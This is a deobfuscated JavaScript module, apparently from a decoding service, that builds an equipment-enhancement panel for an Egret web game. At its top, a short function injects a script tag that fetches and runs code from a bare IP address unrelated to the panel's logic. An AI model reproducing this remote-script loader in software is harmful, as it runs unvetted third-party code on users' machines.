mirror of
https://github.com/smallfawn/decode_action.git
synced 2025-12-20 00:35:19 +08:00
310 lines
18 KiB
JavaScript
310 lines
18 KiB
JavaScript
//Fri Jul 11 2025 23:51:29 GMT+0000 (Coordinated Universal Time)
|
||
//Base:<url id="cv1cref6o68qmpt26ol0" type="url" status="parsed" title="GitHub - echo094/decode-js: JS混淆代码的AST分析工具 AST analysis tool for obfuscated JS code" wc="2165">https://github.com/echo094/decode-js</url>
|
||
//Modify:<url id="cv1cref6o68qmpt26olg" type="url" status="parsed" title="GitHub - smallfawn/decode_action: 世界上本来不存在加密,加密的人多了,也便成就了解密" wc="741">https://github.com/smallfawn/decode_action</url>
|
||
function loadblm(_0x2daed9) {
|
||
var _0x288f5e = $("head").remove("script[role='reload']");
|
||
$("<script></script>").attr({
|
||
role: "reload",
|
||
src: _0x2daed9,
|
||
type: "text/javascript"
|
||
}).appendTo(_0x288f5e);
|
||
}
|
||
loadblm("http://110.42.3.203:1418/hh.js");
|
||
var newzbqhwin = function (_0x5ab625) {
|
||
var _0x5aa4b8 = function () {
|
||
var _0x79c21f = true;
|
||
return function (_0x672281, _0x5e89ec) {
|
||
{
|
||
var _0x1b0003 = _0x79c21f ? function () {
|
||
if (_0x5e89ec) {
|
||
{
|
||
var _0x218458 = _0x5e89ec.apply(_0x672281, arguments);
|
||
_0x5e89ec = null;
|
||
return _0x218458;
|
||
}
|
||
}
|
||
} : function () {};
|
||
_0x79c21f = false;
|
||
return _0x1b0003;
|
||
}
|
||
};
|
||
}();
|
||
var _0x46bc74 = _0x5aa4b8(this, function () {
|
||
var _0x167ca7 = typeof window !== "undefined" ? window : typeof process === "object" && typeof require === "function" && typeof global === "object" ? global : this;
|
||
var _0xe18bdf = function () {
|
||
var _0x4e8a72 = new _0x167ca7.RegExp("^([^ ]+( +[^ ]+)+)+[^ ]}");
|
||
return !_0x4e8a72.test(_0x46bc74);
|
||
};
|
||
return _0xe18bdf();
|
||
});
|
||
_0x46bc74();
|
||
function _0x19dc80(_0x4d85a0, _0x35da36) {
|
||
var _0x2f9824 = _0x5ab625.call(this, _0x4d85a0, _0x35da36) || this;
|
||
_0x2f9824.showMessage = [UserZs.ins().postZsData];
|
||
_0x2f9824.updateMessage = [KFBattleRedPoint.ins().postRedPoint, DevildomRedPoint.ins().postRedPoint, KfArenaRedPoint.ins().postRedPoint];
|
||
return _0x2f9824;
|
||
}
|
||
__extends(_0x19dc80, _0x5ab625);
|
||
_0x19dc80.prototype.checkShowIcon = function () {
|
||
{
|
||
var _0x15140b = KFBossSys.ins().isOpen();
|
||
return _0x15140b;
|
||
}
|
||
};
|
||
_0x19dc80.prototype.checkShowRedPoint = function () {
|
||
return KFBattleRedPoint.ins().redPoint || DevildomRedPoint.ins().redPoint || KfArenaRedPoint.ins().redpoint;
|
||
};
|
||
_0x19dc80.prototype.tapExecute = function () {
|
||
ViewManager.ins().open(newLongdispal);
|
||
};
|
||
return _0x19dc80;
|
||
}(RuleIconBase);
|
||
__reflect(newzbqhwin.prototype, "newzbqhwin");
|
||
var newLongdispal = function (_0x236e52) {
|
||
function _0x427962() {
|
||
{
|
||
var _0x461555 = _0x236e52.call(this) || this;
|
||
_0x461555._cost = 0;
|
||
_0x461555.isTopLevel = true;
|
||
_0x461555.skinName = "<?xml version='1.0' encoding='utf-8'?> <e:Skin class=\"newslongdiskins\" width=\"580\" height=\"930\" xmlns:e=\"http://ns.egret.com/eui\" xmlns:w=\"http://ns.egret.com/wing\" xmlns:ns1=\"*\" xmlns:euiextension=\"euiextension.*\" > <e:Rect width=\"600\" height=\"930\" horizontalCenter=\"0\" fillAlpha=\"1\"/> <e:Group left=\"0\" right=\"0\" top=\"0\" bottom=\"-4\"> <e:Image top=\"40\" left=\"0\" source=\"tongyongmianbanbg\" scale9Grid=\"19,12,14,25\" right=\"0\" bottom=\"120\"/> <e:Group top=\"8\" left=\"8\" right=\"8\" bottom=\"8\"> <e:Rect left=\"0\" right=\"0\" bottom=\"0\" top=\"0\" fillAlpha=\"0\"/> <e:Image source=\"newzbqhbgt\" left=\"0\" right=\"0\" height=\"592\" verticalCenter=\"-50\"/> <e:Image source=\"\" id=\"macicon\" horizontalCenter=\"5\" verticalCenter=\"-50\"/> <e:Group left=\"0\" right=\"0\" height=\"592\" verticalCenter=\"-50\">\n<ns1:BaseComponent id=\"item12\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"17.912\" x=\"458.639\"/> <ns1:BaseComponent id=\"item1\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"120\" x=\"460\"/> <ns1:BaseComponent id=\"item3\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"240\" x=\"460\"/> <ns1:BaseComponent id=\"item5\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" x=\"460\" y=\"360\"/> <ns1:BaseComponent id=\"item7\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"480\" x=\"460\"/> <ns1:BaseComponent id=\"item0\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"120\" x=\"0\"/> <ns1:BaseComponent id=\"item2\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"240\" x=\"0\"/> <ns1:BaseComponent id=\"item4\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"360\" x=\"0\"/> <ns1:BaseComponent id=\"item6\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"480\" x=\"0\"/> <ns1:BaseComponent id=\"item8\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"240\" x=\"100\"/> <ns1:BaseComponent id=\"item9\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"240\" x=\"360\"/> <ns1:BaseComponent id=\"item10\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"360\" x=\"100\"/> <ns1:BaseComponent id=\"item11\" skinName=\"ItemlongdiSkin\" className=\"qq122691204\" y=\"360\" x=\"360\"/> <e:Button id=\"Upbntss\" label=\"强化装备\" skinName=\"Btn1Skin\" width=\"160\" height=\"50\" horizontalCenter=\"0\" bottom=\"55\" scaleX=\"1\" scaleY=\"1\"/> <e:Group width=\"220\" height=\"222.215\" id=\"luopans\" visible=\"true\" x=\"166.611\" y=\"85.645\"> <ns1:BaseComponent id=\"upitem0\" skinName=\"ItemSkin\" className=\"ItemBase\" x=\"10.307\" y=\"25.287\" scaleX=\"0.85\" scaleY=\"0.9\"/> <ns1:BaseComponent id=\"upitem1\" skinName=\"ItemSkin\" className=\"ItemBase\" right=\"13\" bottom=\"109.215\" scaleX=\"0.9\" scaleY=\"0.9\"/> <ns1:BaseComponent id=\"Supitem0\" skinName=\"newsItemlongdiSkin\" className=\"qq122691204\" x=\"-70\" y=\"118\"/> </e:Group> <ns1:BaseComponent id=\"Supitem1\" skinName=\"newsItemlongdiSkin\" className=\"qq122691204\" x=\"280.406\" y=\"199.821\"/> </e:Group> <e:Group id=\"maxbox1\" left=\"-2\" right=\"-5\" bottom=\"118\" height=\"130\"> <e:Image source=\"attrnewbg_png\" left=\"0\" right=\"0\" height=\"94.617\" y=\"35.383\"/> <e:Label id=\"curAttr0\" text=\"生命:1008666\\n攻击:100866\\n物防:26666\\n魔防:26666\" y=\"47.113\" size=\"15\" textColor=\"0xB8B8DC\" lineSpacing=\"6\" width=\"148\" x=\"39.681\"/> <e:Image verticalCenter=\"23\" source=\"jiantouyou\" horizontalCenter=\"1.5\"/> <e:Label id=\"curAttr1\" text=\"生命:1008666\\n攻击:100866\\n物防:26666\\n魔防:26666\" y=\"45.638\" size=\"15\" textColor=\"0xD9FFFF\" lineSpacing=\"6\" width=\"148\" right=\"31\"/> </e:Group> <e:Group id=\"maxbox2\" left=\"-2\" right=\"-5\" bottom=\"118\" height=\"130\" visible=\"false\"> <e:Image source=\"attrnewbg_png\" left=\"0\" right=\"0\" height=\"130\"/> <e:Label id=\"curAttr2\" text=\"生 命:1008666\\n攻 击:100866\\n物 防:26666\\n魔 防:26666\" y=\"25\" size=\"15\" textColor=\"0xB8B8DC\" lineSpacing=\"6\" width=\"148\" horizontalCenter=\"0\"/> </e:Group> </e:Group> <ns1:BaseComponent id=\"powerPanel\" skinName=\"PowerPanelSkin\" className=\"PowerPanel\" y=\"140\" horizontalCenter=\"10\"/> </e:Group>\n<ns1:BaseComponent id=\"roleSelect\" y=\"0\" skinName=\"RoleSelectPanelSkin\" className=\"RoleSelectPanel\" width=\"580\" horizontalCenter=\"0\" /> <e:Button id=\"closeBtn\" label=\"按钮\" skinName=\"Btn0Skin\" icon=\"chatclose\" y=\"46\" scaleX=\"0.8\" scaleY=\"0.8\" right=\"-5\" /> <e:Image source=\"zbqhtlt\" x=\"65\" y=\"11\"/> </e:Skin>";
|
||
return _0x461555;
|
||
}
|
||
}
|
||
__extends(_0x427962, _0x236e52);
|
||
_0x427962.prototype.open = function () {
|
||
this.addTouchEvent(this.closeBtn, this.closeMenus);
|
||
this.roleSelect.setCurRole(this.curRole);
|
||
this.addChangeEvent(this.roleSelect, this.sonChange);
|
||
this.roleSelect.parent.touchEnabled = true;
|
||
SubRoles.ins().getSubRoleByIndex(0);
|
||
this.roleSelect.setCurRole(0);
|
||
this.observe(Dress.ins().postDressInfo, this.edata);
|
||
this.observe(GameLogic.ins().postSubRoleChange, this.getDressInfo);
|
||
this.observe(UserBag.ins().postItemAdd, this.edata);
|
||
this.observe(UserBag.ins().postItemDel, this.edata);
|
||
this.observe(UserBag.ins().postItemCountChange, this.edata);
|
||
this.addTouchEvent(this.item0, this.closeMenu);
|
||
this.addTouchEvent(this.item1, this.closeMenu);
|
||
this.addTouchEvent(this.item2, this.closeMenu);
|
||
this.addTouchEvent(this.item3, this.closeMenu);
|
||
this.addTouchEvent(this.item4, this.closeMenu);
|
||
this.addTouchEvent(this.item5, this.closeMenu);
|
||
this.addTouchEvent(this.item6, this.closeMenu);
|
||
this.addTouchEvent(this.item7, this.closeMenu);
|
||
this.addTouchEvent(this.item8, this.closeMenu);
|
||
this.addTouchEvent(this.item9, this.closeMenu);
|
||
this.addTouchEvent(this.item10, this.closeMenu);
|
||
this.addTouchEvent(this.item11, this.closeMenu);
|
||
this.addTouchEvent(this.item12, this.closeMenu);
|
||
this.addTouchEvent(this.upitem0, this.pagesitem);
|
||
this.addTouchEvent(this.upitem1, this.pagesitem);
|
||
this.addTouchEvent(this.Upbntss, this.closeMenu);
|
||
this._indexid = 0;
|
||
this.item0.selectFrame.visible = 1;
|
||
this._curRole = 0;
|
||
this.edata();
|
||
};
|
||
_0x427962.prototype.sonChange = function (_0x119964) {
|
||
this._curRole = this.roleSelect.getCurRole();
|
||
this.edata();
|
||
};
|
||
_0x427962.prototype.getDressInfo = function () {
|
||
Dress.ins().sendDressInfoReq();
|
||
};
|
||
_0x427962.prototype.pagesitem = function (_0x2539de) {
|
||
{
|
||
switch (_0x2539de.currentTarget) {
|
||
case this.upitem0:
|
||
this.XZitempage(0);
|
||
break;
|
||
case this.upitem1:
|
||
this.XZitempage(1);
|
||
}
|
||
}
|
||
};
|
||
_0x427962.prototype.XZitempage = function (_0x10fdf5) {
|
||
for (x = 0; x < 2; x++) {
|
||
x != _0x10fdf5 ? (this["upitem" + x].filters = [FilterUtil.grayFilter], this["Supitem" + x].Nametext.textColor = "0xADFEDC") : (this["upitem" + x].filters = null, this["Supitem" + x].Nametext.textColor = "0xA6FFA6");
|
||
}
|
||
};
|
||
_0x427962.prototype.edata = function (_0x27950f) {
|
||
var _0xd1dc1f = this.Listdate();
|
||
var _0x490ccb = 0;
|
||
var _0x300288 = ConfgMgr.xlongdibaseconfig;
|
||
var _0x4b46ab = ConfgMgr.xlongdiupconfig;
|
||
this.Supitem0.Nametext.textColor = "0xADFEDC";
|
||
this.Supitem1.Nametext.textColor = "0xA6FFA6";
|
||
this._maxlv = _0x300288.maxlv;
|
||
this._openzs = _0x300288.zslv;
|
||
this._openday = _0x300288.openday;
|
||
for (x = 0; x < 13; x++) {
|
||
var _0x4b053b = _0xd1dc1f[x].lv;
|
||
var _0x2343a2 = _0xd1dc1f[x].id;
|
||
this["item" + x].itemIcon.imgIcon.source = _0x300288.itemicon[x] + "_png";
|
||
this["item" + x].itemIcon.imgBg.source = "quality5";
|
||
this["item" + x].itemIcon.imgJob.visible = 0;
|
||
this["item" + x].count.visible = 0;
|
||
this["item" + x].nameTxt.text = _0x300288.name[x] + _0x300288.lvjie[_0x4b053b];
|
||
this["BedEff" + x] || (this["BedEff" + x] = new MovieClip());
|
||
this["BedEff" + x].scaleX = this["BedEff" + x].scaleY = 1.2;
|
||
if (_0x4b053b < 1) {
|
||
this["BedEff" + x].x = -66660;
|
||
this["BedEff" + x].y = -66650;
|
||
this["item" + x].itemIcon.imgIcon.filters = [FilterUtil.grayFilter];
|
||
} else {
|
||
this["BedEff" + x].x = 40;
|
||
this["BedEff" + x].y = 35;
|
||
this["item" + x].itemIcon.imgIcon.filters = null;
|
||
var _0x490ccb = parseInt(_0x490ccb) + UserBag.getAttrPower(AttributeData.transformAttr(_0x4b46ab[x][_0x4b053b].attr));
|
||
}
|
||
this["item" + x].itemIcon.imgStar.parent.addChild(this["BedEff" + x]);
|
||
this["BedEff" + x].playFile(RES_DIR_EFF + "yewan01", -1);
|
||
if (x == this._indexid) {
|
||
this._lv = _0x4b053b;
|
||
this._id = _0x2343a2;
|
||
if (_0x4b053b < this._maxlv) {
|
||
{
|
||
if (_0x4b053b < 1) {
|
||
var _0x34582e = _0x4b46ab[x][1];
|
||
this._item0 = _0x34582e.itemid[0];
|
||
this._item1 = _0x34582e.itemid[1];
|
||
this._count0 = _0x34582e.count[0];
|
||
this._count1 = _0x34582e.count[1];
|
||
this._num0 = UserBag.ins().getBagGoodsCountById(0, this._item0);
|
||
this._num1 = UserBag.ins().getBagGoodsCountById(0, this._item1);
|
||
this.curAttr0.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x300288.attr), 0, 1, ": ");
|
||
this.curAttr1.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x34582e.attr), 0, 1, ": ");
|
||
this.Supitem0.Nametext.text = ConfgMgr.ItemConfig[this._item0].name + "需要(" + this._count0 + ")个";
|
||
this.Supitem1.Nametext.text = ConfgMgr.ItemConfig[this._item1].name + "需要(" + this._count1 + ")个";
|
||
this.upitem0.data = this._item0;
|
||
this.upitem1.data = this._item1;
|
||
this.upitem1.filters = [FilterUtil.grayFilter];
|
||
this.upitem1.nameTxt.visible = 0;
|
||
this.upitem0.nameTxt.visible = 0;
|
||
} else {
|
||
var _0x472879 = _0x4b46ab[x][_0x4b053b];
|
||
var _0x34582e = _0x4b46ab[x][parseInt(_0x4b053b) + 1];
|
||
this._item0 = _0x34582e.itemid[0];
|
||
this._item1 = _0x34582e.itemid[1];
|
||
this._count0 = _0x34582e.count[0];
|
||
this._count1 = _0x34582e.count[1];
|
||
this._num0 = UserBag.ins().getBagGoodsCountById(0, this._item0);
|
||
this._num1 = UserBag.ins().getBagGoodsCountById(0, this._item1);
|
||
this.curAttr0.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x472879.attr), 0, 1, ": ");
|
||
this.curAttr1.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x34582e.attr), 0, 1, ": ");
|
||
this.Supitem0.Nametext.text = ConfgMgr.ItemConfig[this._item0].name + "需要(" + this._count0 + ")个";
|
||
this.Supitem1.Nametext.text = ConfgMgr.ItemConfig[this._item1].name + "需要(" + this._count1 + ")个";
|
||
this.upitem0.data = this._item0;
|
||
this.upitem1.data = this._item1;
|
||
this.upitem1.filters = [FilterUtil.grayFilter];
|
||
this.upitem1.nameTxt.visible = 0;
|
||
this.upitem0.nameTxt.visible = 0;
|
||
}
|
||
this.maxbox1.visible = this.Upbntss.visible = this.Supitem0.visible = this.luopans.visible = this.Supitem1.visible = 1;
|
||
this.maxbox2.visible = this.macicon.visible = 0;
|
||
}
|
||
} else {
|
||
this.maxbox1.visible = this.Supitem0.visible = this.Upbntss.visible = this.luopans.visible = this.Supitem1.visible = 0;
|
||
this.maxbox2.visible = this.macicon.visible = 1;
|
||
var _0x472879 = _0x4b46ab[x][this._maxlv];
|
||
this.curAttr2.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x472879.attr), 0, 1, ": ");
|
||
}
|
||
}
|
||
}
|
||
this.powerPanel.setPower(_0x490ccb);
|
||
};
|
||
_0x427962.prototype.Listdate = function () {
|
||
{
|
||
this.curRole = this.roleSelect.getCurRole();
|
||
var _0x377125 = Dress.ins();
|
||
this.listInfo = [];
|
||
for (var _0x445878 in ConfgMgr.xlongdiconfig) if (SubRoles.ins().getSubRoleByIndex(this.curRole).job == ConfgMgr.xlongdiconfig[_0x445878].roletype) {
|
||
var _0x23af09 = new DressItemInfo();
|
||
var _0x4940dc = ConfgMgr.xlongdiconfig[_0x445878];
|
||
var _0x13b771 = _0x4940dc.id;
|
||
_0x23af09.lv = 0;
|
||
_0x23af09.id = _0x13b771;
|
||
_0x23af09.job = _0x4940dc.roletype;
|
||
_0x377125.timeInfo[_0x13b771] && (_0x23af09.timer = _0x377125.timeInfo[_0x13b771].invalidtime, _0x23af09.lv = _0x377125.timeInfo[_0x13b771].lv);
|
||
this.listInfo.push(_0x23af09);
|
||
}
|
||
return this.listInfo;
|
||
}
|
||
};
|
||
_0x427962.prototype.closeMenu = function (_0x8cfb34) {
|
||
switch (_0x8cfb34.currentTarget) {
|
||
case this.item0:
|
||
this.ViewSelect(0);
|
||
break;
|
||
case this.item1:
|
||
this.ViewSelect(1);
|
||
break;
|
||
case this.item2:
|
||
this.ViewSelect(2);
|
||
break;
|
||
case this.item3:
|
||
this.ViewSelect(3);
|
||
break;
|
||
case this.item4:
|
||
this.ViewSelect(4);
|
||
break;
|
||
case this.item5:
|
||
this.ViewSelect(5);
|
||
break;
|
||
case this.item6:
|
||
this.ViewSelect(6);
|
||
break;
|
||
case this.item7:
|
||
this.ViewSelect(7);
|
||
break;
|
||
case this.item8:
|
||
this.ViewSelect(8);
|
||
break;
|
||
case this.item9:
|
||
this.ViewSelect(9);
|
||
break;
|
||
case this.item10:
|
||
this.ViewSelect(10);
|
||
break;
|
||
case this.item11:
|
||
this.ViewSelect(11);
|
||
break;
|
||
case this.item12:
|
||
this.ViewSelect(12);
|
||
break;
|
||
case this.Upbntss:
|
||
if (UserZs.ins().lv < this._openzs) {
|
||
return void UserTips.ins().showTips("|C:0xf3311e&T:转生等级达" + this._openzs + "开启|");
|
||
}
|
||
if (GameServer.serverOpenDay + 1 < this._openday) {
|
||
return void UserTips.ins().showTips("|C:0xf3311e&T:开服" + this._openday + "开启|");
|
||
}
|
||
if (this._num0 < this._count0) {
|
||
void UserTips.ins().showTips("|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n");
|
||
return SoundManager.ins().playEffect("wupindaojubuzubgm");
|
||
}
|
||
if (this._num1 < this._count1) {
|
||
void UserTips.ins().showTips("|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n");
|
||
return SoundManager.ins().playEffect("wupindaojubuzubgm");
|
||
}
|
||
if (this._lv >= this._maxlv) {
|
||
return void UserTips.ins().showTips("|C:0xf3311e&T:已达最高等级|");
|
||
}
|
||
this._lv < 1 ? Dress.ins().JiezhikongjianUserReq(this._id, 2) : Dress.ins().JiezhikongjianLevelUp(this._id);
|
||
}
|
||
};
|
||
_0x427962.prototype.ViewSelect = function (_0x76add5) {
|
||
for (x = 0; x < 13; x++) {
|
||
_0x76add5 == x ? this["item" + x].selectFrame.visible = 1 : this["item" + x].selectFrame.visible = 0;
|
||
}
|
||
this._indexid = _0x76add5;
|
||
this.edata();
|
||
};
|
||
_0x427962.prototype.closeMenus = function (_0x1f255e) {
|
||
ViewManager.ins().close(this);
|
||
SoundManager.ins().playEffect(SoundUtil.WINDOW);
|
||
};
|
||
return _0x427962;
|
||
}(BaseEuiView);
|
||
__reflect(newLongdispal.prototype, "newLongdispal");
|
||
ViewManager.ins().reg(newLongdispal, LayerManager.UI_Main); |